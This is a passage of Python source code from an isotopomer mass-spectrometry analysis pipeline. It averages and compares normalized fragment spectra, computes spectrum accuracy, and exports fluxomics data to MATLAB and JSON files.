['Unknown','QC']; sample_types_lst = []; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; sample_types_lst = ['Unknown' for x in sample_abbreviations]; # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01Normalized(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Calculating average precursor and product spectrum from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Calculating average precursor and product spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Calculating average precursor and product spectrum for metabolite ' + met); # get replicates replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); peakSpectrum_normalized_lst = []; for rep in replicate_numbers: print('Calculating average precursor and product spectrum for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_dataNormalized_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); fragment_formulas = list(peakData_I.keys()); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normSum(\ peakData_I, fragment_formulas, True); peakSpectrum_normalized_lst.append(peakSpectrum_normalized); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normSum(peakSpectrum_normalized_lst,True); # update data_stage01_isotopomer_normalized for frag,spec in peakSpectrum_theoretical.items(): if spec: fragment_str = re.sub('[+-]', '', frag); fragment_mass = Formula(fragment_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): if v and k in peakSpectrum_stats[frag]: if peakSpectrum_stats[frag][k]['mean']> 0.0: intensities_cv = peakSpectrum_stats[frag][k]['stdDev']/peakSpectrum_stats[frag][k]['mean']*100; else: intensities_cv = 0.0; row = []; row = data_stage01_isotopomer_averagesNormSum(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, k, peakSpectrum_stats[frag][k]['n'], peakSpectrum_stats[frag][k]['mean'], intensities_cv, 'normSum', v, peakSpectrum_stats[frag][k]['absDev'], scan_type, True); elif v and k not in peakSpectrum_stats[frag]: intensities_cv = None; row = []; row = data_stage01_isotopomer_averagesNormSum(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, k, None, None, intensities_cv, 'normSum', v, None, scan_type, True); elif not v and k in peakSpectrum_stats[frag]: if peakSpectrum_stats[frag][k]['mean']> 0.0: intensities_cv = peakSpectrum_stats[frag][k]['stdDev']/peakSpectrum_stats[frag][k]['mean']*100; else: intensities_cv = 0.0; row = []; row = data_stage01_isotopomer_averagesNormSum(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, k, peakSpectrum_stats[frag][k]['n'], peakSpectrum_stats[frag][k]['mean'], intensities_cv, 'normSum', None, peakSpectrum_stats[frag][k]['absDev'], scan_type, True); self.session.add(row); self.session.commit(); def execute_analyzeSpectrumAccuracy(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''calculate the average spectrum accuracy''' print('execute_analyzeSpectrumAccuracy...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Calculating spectrum accuracy from isotopomer normalized for time-point ' + str(tp)); if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01Normalized(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Calculating spectrum accuracy from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Calculating spectrum accuracy for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Calculating spectrum accuracy for metabolite ' + met); replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); peakSpectrum_normalized_lst = []; for rep in replicate_numbers: print('Calculating spectrum accuracy for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_dataNormalized_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); fragment_formulas = list(peakData_I.keys()); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normMax(\ peakData_I, fragment_formulas, True); peakSpectrum_normalized_lst.append(peakSpectrum_normalized); peakSpectrum_accuracy = self.calculate_fragmentSpectrumAccuracy(peakSpectrum_normalized_lst); # update data_stage01_isotopomer_spectrumAccuracy for frag,accuracy in peakSpectrum_accuracy.items(): if accuracy: row = []; row = data_stage01_isotopomer_spectrumAccuracy(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, accuracy, scan_type, True); self.session.add(row); self.session.commit(); def execute_analyzeSpectrumAccuracyNormSum(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''calculate the average spectrum accuracy''' print('execute_analyzeSpectrumAccuracy...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Calculating spectrum accuracy from isotopomer normalized for time-point ' + str(tp)); if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01Normalized(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Calculating spectrum accuracy from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Calculating spectrum accuracy for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Calculating spectrum accuracy for metabolite ' + met); replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); peakSpectrum_normalized_lst = []; for rep in replicate_numbers: print('Calculating spectrum accuracy for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_dataNormalized_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); fragment_formulas = list(peakData_I.keys()); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normSum(\ peakData_I, fragment_formulas, True); peakSpectrum_normalized_lst.append(peakSpectrum_normalized); peakSpectrum_accuracy = self.calculate_fragmentSpectrumAccuracy_normSum(peakSpectrum_normalized_lst); # update data_stage01_isotopomer_spectrumAccuracy for frag,accuracy in peakSpectrum_accuracy.items(): if accuracy: row = []; row = data_stage01_isotopomer_spectrumAccuracyNormSum(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, accuracy, scan_type, True); self.session.add(row); self.session.commit(); def execute_makeIsotopomerSimulation_cobraMat(self,csource_name_I, csource_I, csource_mix_I, experiment_id_I, sample_name_abbreviations_I = None, time_points_I = None, met_ids_I = None, scan_types_I = None): '''export a fluxomics experimental data for simulation using the cobra 2.0 fluxomics module''' # TODO: # 1. move to analysis_stage02 # 2. query csource_name, csourse, and csource_mix from database # calculate the emu for the input_met: # make carbon input for the experiment: # 80/20 1-13C/U-13C #inputfrag = isoexecute.make_CSourceMix([['[13C]HO','CH2O','CH2O','CH2O','CH2O','CH3O'], # ['[13C]HO','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H3O']], # [0.8,0.2]); # 30/20/50 1-13C/U-13C/U-12C #inputfrag = isoexecute.make_CSourceMix([['[13C]HO','CH2O','CH2O','CH2O','CH2O','CH3O'], # ['[13C]HO','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H3O'], # ['CHO','CH2O','CH2O','CH2O','CH2O','CH3O']], # [0.3,0.2,0.5]); # 80/20 1-13C/U-13C #inputfrag = isoexecute.make_CSourceMix([['[13C]HO','CH2O','CH2O','CH2O','CH2O','CH3O']], # [1.0]); inputfrag = self.make_CSourceMix(csource_I,csource_mix_I); # get experiment information: met_id_conv_dict = {'Hexose_Pool_fru_glc-D':'glc-D', 'Pool_2pg_3pg':'3pg', '23dpg':'13dpg'}; # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01AveragesNormSum(experiment_id_I); for tp in time_points: print('Reporting average precursor and product spectrum from isotopomer normalized for time-point ' + str(tp)); if sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01AveragesNormSum(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): # Matlab script file to make the structures experiment_name = 'Isotopomer_' + re.sub('[.\/]','',experiment_id_I) + '_' + re.sub(' ','',sna) + '_' + re.sub(' ','',str(tp)); filename = 'data/_output/' + 'isotopomer_' + re.sub('[.\/]','',experiment_id_I) + '_' + re.sub(' ','',sna) + '_' + re.sub(' ','',str(tp)) + '.m'; filename_dict = 'data/_output/' + 'isotopomer_' + re.sub('[.\/]','',experiment_id_I) + '_' + re.sub(' ','',sna) + '_' + re.sub(' ','',str(tp)) + '.json'; #filename_mat = 'data/_output/' + 'isotopomer_' + re.sub('[.\/]','',experiment_id_I) + '_' + re.sub(' ','',sna) + '_' + re.sub(' ','',str(tp)) + '.mat'; mat_script = ''; experiment = {}; struct_data = {}; experiment_stdev = []; #struct_mat_data = {}; #struct_mat_data_list = []; #struct_mat_dtype_list = []; print('Reporting average precursor and product spectrum from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01AveragesNormSum(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01AveragesNormSum(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Reporting average precursor and product spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01AveragesNormSum( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Reporting average precursor and product spectrum for metabolite ' + met); # format the metabolite if met in list(met_id_conv_dict.keys()): met_formatted = met_id_conv_dict[met]; else: met_formatted = met; met_formatted = re.sub('-','_DASH_',met_formatted) met_formatted = re.sub('[(]','_LPARANTHES_',met_formatted) met_formatted = re.sub('[)]','_RPARANTHES_',met_formatted) # fragments fragment_formulas = []; fragment_formulas = self.stage01_isotopomer_query.get_fragmentFormula_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanTypeAndMetID_dataStage01AveragesNormSum( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type,met); # frag c map frag_cmap = {}; frag_cmap = self.stage01_isotopomer_query.get_precursorFormulaAndProductFormulaAndCMaps_metID(met,'-','tuning'); for frag in fragment_formulas: # data data_mat = []; data_mat_cv = []; data_mat, data_mat_cv = self.stage01_isotopomer_query.get_spectrum_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanTypeAndMetIDAndFragmentFormula_dataStage01AveragesNormSum( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type,met,frag); # combine into a structure frag_tmp_int = []; frag_tmp_str = []; for f in frag_cmap[frag]: if f: frag_tmp_int.append(1); frag_tmp_str.append('1'); else: frag_tmp_int.append(0); frag_tmp_str.append('0'); fieldname = 'x' + met_formatted+'_'+ re.sub('[-+]','',frag); #struct_mat_data['x'+met_formatted+'_c'+''.join(frag_tmp_str)] = {'met':'x'+met_formatted+'_c', # 'fragment':frag_tmp_int, # 'data':data_mat, # 'metfrag':'x'+met_formatted+'_c'+''.join(frag_tmp_str)}; mat_script = mat_script + ("%s.fragments.%s.met = '%s';\n" %(experiment_name,fieldname,'x'+met_formatted+'_c')); mat_script = mat_script + ("%s.fragments.%s.fragment = %s';\n" %(experiment_name,fieldname,frag_tmp_int)); mat_script = mat_script + ("%s.fragments.%s.data = %s';\n" %(experiment_name,fieldname,data_mat)); mat_script = mat_script + ("%s.fragments.%s.metfrag = '%s';\n" %(experiment_name,fieldname,'x'+met_formatted+'_c'+''.join(frag_tmp_str))); data_names = []; data_stdev = []; for i,d in enumerate(data_mat): stdev = 0.0; if data_mat_cv[i]: stdev = data_mat[i]*data_mat_cv[i]/100; data_names.append(fieldname+str(i)); data_stdev.append(stdev); experiment_stdev.append(stdev); struct_data[fieldname] = {'met':'x'+met_formatted+'_c','fragment':frag_tmp_int, 'data_names':data_names,'data_ave':data_mat,'data_cv':data_mat_cv, 'data_stdev':data_stdev,'metfrag':'x'+met_formatted+'_c'+''.join(frag_tmp_str)}; #data_mat_reshape = numpy.array(data_mat).reshape((len(data_mat),1)); #frag_tmp_int_reshape = numpy.array(frag_tmp_int).reshape((len(frag_tmp_int),1)); #struct_mat_data = numpy.array([(['x'+met_formatted+'_c'],frag_tmp_int_reshape,data_mat_reshape,['x'+met_formatted+'_c'+''.join(frag_tmp_str)])], dtype=[('met', 'O'), ('fragment', 'O'), ('data', 'O'), ('metfrag', 'O')]); #struct_mat_dtype = (fieldname.encode('ascii','ignore'),'O'); #struct_mat_data_list.append(struct_mat_data); #struct_mat_dtype_list.append(struct_mat_dtype); ## dump the experiment to a matlab file #experiment['input']=[]; ##experiment['fragments']=struct_mat_data; #experiment['fragments']=numpy.array([tuple(struct_mat_data_list)],dtype=struct_mat_dtype_list); #experiment['ignored']=[]; #experiment['inputfrag']=inputfrag; #experiment['std2']=0.015; #experiment_mat = numpy.array([(experiment['fragments'],experiment['inputfrag'],experiment['std2'])], # dtype = [('fragments','O'),('inputfrag','O'),('std2','O')]); #savemat(filename_mat,{experiment_name:experiment_mat}); # dump the experiment to a matlab script to generate the matlab file in matlab mat_script = mat_script + ("%s.input = [];\n" %experiment_name); mat_script = mat_script + ("%s.ignored = [];\n" %experiment_name); for k,v in inputfrag.items(): mat_script = mat_script + ("%s.inputfrag.%s = %s;\n" %(experiment_name,k,v)); mat_script = mat_script + ("%s.std2=0.015;\n" %experiment_name); mat_script = mat_script + ("save('%s','%s');\n" %(experiment_name+'.mat',experiment_name)); with open(filename,'w') as f: f.write(mat_script); # dump the experiment to a json file experiment['fragments']=struct_data; experiment['inputfrag']={csource_name_I:inputfrag}; experiment['stdev']=numpy.mean(numpy.array(experiment_stdev)); with open(filename_dict,'w') as f: json.dump(experiment,f,indent=4); #internal methods: def build_precursorSpectrumFromMRMs(self,peakSpectrum_I,blankSpectrum_I): '''extract maximum intensity peak''' # Input: # peakSpectrum_I = {fragment:{(precursor_mass,product_mass):intensity}} # peakSpectrum_I = {fragment:{(precursor_mass,product_mass):intensity}} # Output: # peakSpectrum_theoretical = {fragment:{mass:intensity}} # peakSpectrum_measured = {fragment:{mass:[measuredMass,intensity]}} # peakSpectrum_corrected = {fragment:{mass:[measuredMass,intensity]}} # peakSpectrum_normalized = {fragment:{mass:[measuredMass,intensity]}} fragments_I = list(peakSpectrum_I.keys()); # round all precursor/product masses in input for comparison: peakSpectrum_copy_I = {}; for frag,spec in peakSpectrum_I.items(): peakSpectrum_tmp = {}; for masses,intensity in spec.items(): peakSpectrum_tmp[(numpy.around(masses[0]),numpy.around(masses[1]))] = intensity; peakSpectrum_copy_I[frag] = peakSpectrum_tmp; blankSpectrum_copy_I = {}; for frag,spec in blankSpectrum_I.items(): blankSpectrum_tmp = {}; for masses,intensity in spec.items(): blankSpectrum_tmp[(numpy.around(masses[0]),numpy.around(masses[1]))] = intensity; blankSpectrum_copy_I[frag] = blankSpectrum_tmp; peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); # determine masses from fragments masses = []; peakSpectrum_measured = {}; peakSpectrum_normalized = {}; peakSpectrum_corrected = {}; for frag,spec in peakSpectrum_theoretical.items(): peakSpectrum_measured[frag] = None; peakSpectrum_corrected[frag] = None; peakSpectrum_normalized[frag] = None; if not spec: continue; #check if a carbon is even contained in the fragment masses = list(spec.keys()); masses.sort(); # sort mass in massList masses_rounded = numpy.around(masses); # round masses to nearest digit for comparison # 1. copy data from peakSpectrum_I to peakSpectrum_measured based on theoretical fragments # 2. generate corrected spectrum intensityList = []; if frag in peakSpectrum_I: precursor_masses = [k[0] for k in peakSpectrum_copy_I[frag].keys()]; measured_spec = {}; corrected_spec = {}; for i,mass in enumerate(masses_rounded): #iterate through theoretical precursor masses measured = 0.0; corrected = 0.0; if mass in precursor_masses: product_masses = [k[1] for k in peakSpectrum_copy_I[frag].keys() if k[0]==mass]; for product in product_masses: #iterate through measured product masses if frag in blankSpectrum_copy_I: blank_precursor_masses = [k[0] for k in blankSpectrum_copy_I[frag].keys()]; if mass in blank_precursor_masses: blank_product_masses = [k[1] for k in blankSpectrum_copy_I[frag].keys() if k[0]==mass]; if product in blank_product_masses: if blankSpectrum_copy_I[frag][(mass,product)]<0.5*peakSpectrum_copy_I[frag][(mass,product)]: corrected += peakSpectrum_copy_I[frag][(mass,product)]-blankSpectrum_copy_I[frag][(mass,product)]; measured += peakSpectrum_copy_I[frag][(mass,product)] else: corrected += 0.0; measured += peakSpectrum_copy_I[frag][(mass,product)] else: corrected += peakSpectrum_copy_I[frag][(mass,product)]; measured += peakSpectrum_copy_I[frag][(mass,product)] else: corrected += peakSpectrum_copy_I[frag][(mass,product)]; measured += peakSpectrum_copy_I[frag][(mass,product)] else: corrected += peakSpectrum_copy_I[frag][(mass,product)]; measured += peakSpectrum_copy_I[frag][(mass,product)]; measured_spec[masses[i]] = measured; corrected_spec[masses[i]] = corrected; intensityList.append(corrected); peakSpectrum_measured[frag] = measured_spec; peakSpectrum_corrected[frag] = corrected_spec; # normalize each spectrum: #NOTE: normalization by max to allow for later conversion to normalization by sum normalized = {}; intensityListMax = max(intensityList); for k,v in peakSpectrum_corrected[frag].items(): if intensityListMax != 0: normalized[k] = v/intensityListMax; else: normalized[k] = None; peakSpectrum_normalized[frag] = normalized; return peakSpectrum_measured, peakSpectrum_corrected, peakSpectrum_normalized; def build_productSpectrumFromMRMs(self,peakSpectrum_I,blankSpectrum_I): '''extract maximum intensity peak''' # Input: # peakSpectrum_I = {fragment:{(product_mass,product_mass):intensity}} # peakSpectrum_I = {fragment:{(product_mass,product_mass):intensity}} # Output: # peakSpectrum_theoretical = {fragment:{mass:intensity}} # peakSpectrum_measured = {fragment:{mass:intensity}} # peakSpectrum_corrected = {fragment:{mass:intensity}} # peakSpectrum_normalized = {fragment:{mass:intensity}} fragments_I = list(peakSpectrum_I.keys()); # round all precursor/product masses in input for comparison: peakSpectrum_copy_I = {}; for frag,spec in peakSpectrum_I.items(): peakSpectrum_tmp = {}; for masses,intensity in spec.items(): peakSpectrum_tmp[(numpy.around(masses[0]),numpy.around(masses[1]))] = intensity; peakSpectrum_copy_I[frag] = peakSpectrum_tmp; blankSpectrum_copy_I = {}; for frag,spec in blankSpectrum_I.items(): blankSpectrum_tmp = {}; for masses,intensity in spec.items(): blankSpectrum_tmp[(numpy.around(masses[0]),numpy.around(masses[1]))] = intensity; blankSpectrum_copy_I[frag] = blankSpectrum_tmp; peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); # determine masses from fragments masses = []; peakSpectrum_measured = {}; peakSpectrum_normalized = {}; peakSpectrum_corrected = {}; for frag,spec in peakSpectrum_theoretical.items(): peakSpectrum_measured[frag] = None; peakSpectrum_corrected[frag] = None; peakSpectrum_normalized[frag] = None; if not spec: continue; #check if a carbon is even contained in the fragment masses = list(spec.keys()); masses.sort(); # sort mass in massList masses_rounded = numpy.around(masses); # round masses to nearest digit for comparison # 1. copy data from peakSpectrum_I to peakSpectrum_measured based on theoretical fragments # 2. generate corrected spectrum intensityList = []; if frag in peakSpectrum_I: product_masses = [k[1] for k in peakSpectrum_copy_I[frag].keys()]; measured_spec = {}; corrected_spec = {}; for i,mass in enumerate(masses_rounded): #iterate through theoretical product masses measured = 0.0; corrected = 0.0; if mass in product_masses: precursor_masses = [k[0] for k in peakSpectrum_copy_I[frag].keys() if k[1]==mass]; for precursor in precursor_masses: #iterate through measured precursor masses if frag in blankSpectrum_copy_I: blank_product_masses = [k[1] for k in blankSpectrum_copy_I[frag].keys()]; if mass in blank_product_masses: blank_precursor_masses = [k[0] for k in blankSpectrum_copy_I[frag].keys() if k[1]==mass]; if precursor in blank_precursor_masses: if blankSpectrum_copy_I[frag][(precursor,mass)]<0.5*peakSpectrum_copy_I[frag][(precursor,mass)]: corrected += peakSpectrum_copy_I[frag][(precursor,mass)]-blankSpectrum_copy_I[frag][(precursor,mass)]; measured += peakSpectrum_copy_I[frag][(precursor,mass)] else: corrected += 0.0; measured += peakSpectrum_copy_I[frag][(precursor,mass)] else: corrected += peakSpectrum_copy_I[frag][(precursor,mass)]; measured += peakSpectrum_copy_I[frag][(precursor,mass)] else: corrected += peakSpectrum_copy_I[frag][(precursor,mass)]; measured += peakSpectrum_copy_I[frag][(precursor,mass)] else: corrected += peakSpectrum_copy_I[frag][(precursor,mass)]; measured += peakSpectrum_copy_I[frag][(precursor,mass)]; measured_spec[masses[i]] = measured; corrected_spec[masses[i]] = corrected; intensityList.append(corrected); peakSpectrum_measured[frag] = measured_spec; peakSpectrum_corrected[frag] = corrected_spec; # normalize each spectrum: #NOTE: normalization by max to allow for later conversion to normalization by sum normalized = {}; intensityListMax = max(intensityList); for k,v in peakSpectrum_corrected[frag].items(): if intensityListMax != 0: normalized[k] = v/intensityListMax; else: normalized[k] = None; peakSpectrum_normalized[frag] = normalized; return peakSpectrum_measured, peakSpectrum_corrected, peakSpectrum_normalized; def compare_peakSpectrum_normMax(self,peakSpectrum_normalized_list_I,return_theoretical = False): # Input: # peakSpectrum_normalized_list_I = [{fragment:{mass:intensity}}] # Output: # peakSpectrum_stats_O = {fragment:{mass:{'n':integer, # 'mean':fraction, # 'stdDev':fraction, # 'absDev':fraction}} fragments_all = []; for row in peakSpectrum_normalized_list_I: fragments_all.extend(list(row.keys())); fragments_I = list(set(fragments_all)); #fragments_I = peakSpectrum_normalized_list_I[0].keys(); peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); peakSpectrum_stats_O = {}; for frag in fragments_I: peakSpectrum_stats_O[frag] = {'n':None, 'mean':None, 'stdDev':None, 'absDev':None}; if not peakSpectrum_theoretical[frag]: continue; # no carbons in fragment intensityList = []; masses = []; stats = {}; for peakSpectrum in peakSpectrum_normalized_list_I: intensityDict = {}; peakSpectrumMasses = list(peakSpectrum_theoretical[frag].keys()); for mass in peakSpectrumMasses: if frag in peakSpectrum and mass in peakSpectrum[frag] and peakSpectrum[frag][mass] and peakSpectrum[frag][mass] > 0.0: intensityDict[mass] = peakSpectrum[frag][mass]; else: intensityDict[mass] = 0.0; if not mass in masses: masses.append(mass); intensityList.append(intensityDict); ## uncomment to only compare measured masses #intensityDict = {}; #peakSpectrumMasses = peakSpectrum[frag].keys(); #for mass in peakSpectrumMasses: # if peakSpectrum[frag][mass] > 0.0: # intensityDict[mass] = peakSpectrum[frag][mass]; # if not mass in masses: masses.append(mass); #intensityList.append(intensityDict); for mass in masses: stats[mass] = None; data = []; for intensity in intensityList: if intensity[mass]>0.0:data.append(intensity[mass]); if data: intensity_array = numpy.array(data); if peakSpectrum_theoretical[frag][mass]:abs_dev = abs(intensity_array.mean() - peakSpectrum_theoretical[frag][mass]); else: abs_dev = None; stats[mass] = {'n':len(intensity_array), 'mean':intensity_array.mean(), 'stdDev':intensity_array.std(), 'absDev':abs_dev}; else: stats[mass] = {'n':0.0, 'mean':0.0, 'stdDev':0.0, 'absDev':None}; if stats: peakSpectrum_stats_O[frag] = stats; if return_theoretical: return peakSpectrum_stats_O,peakSpectrum_theoretical; else: return peakSpectrum_stats_O; 